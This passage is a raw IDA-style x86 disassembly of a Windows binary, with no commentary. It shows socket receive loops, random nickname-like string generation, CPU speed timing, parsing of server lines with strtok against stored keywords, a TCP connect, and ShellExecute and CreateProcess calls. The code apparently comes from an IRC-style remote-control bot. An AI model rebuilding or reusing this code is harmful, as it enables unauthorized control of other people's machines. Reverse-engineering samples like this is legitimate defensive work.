		jnz	short loc_41B64E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B64A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B64C
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5B0+8Ej
		xor	eax, eax


loc_41B64C:				; CODE XREF: sub_41B5B0+98j
		mov	esi, eax


loc_41B64E:				; CODE XREF: sub_41B5B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B667
		push	7D0h
		call	ebp
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B667:				; CODE XREF: sub_41B5B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B6A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B6A4:				; CODE XREF: sub_41B5B0+B5j
					; sub_41B5B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B61E


loc_41B6AF:				; CODE XREF: sub_41B5B0+3Ej
					; sub_41B5B0+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B5B0+Bj
					; sub_41B5B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B5B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		call	near ptr 2801125h
		nop
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27E0B37h
		push	eax
		call	near ptr 77C371BCh
		nop
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E5C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E64
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E80
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E7C
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E78
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E74
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E70
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E6C
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E68
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27F0531h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E8C
		mov	ecx, off_444E90
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E94
		rep stosd
		mov	ecx, off_444E84
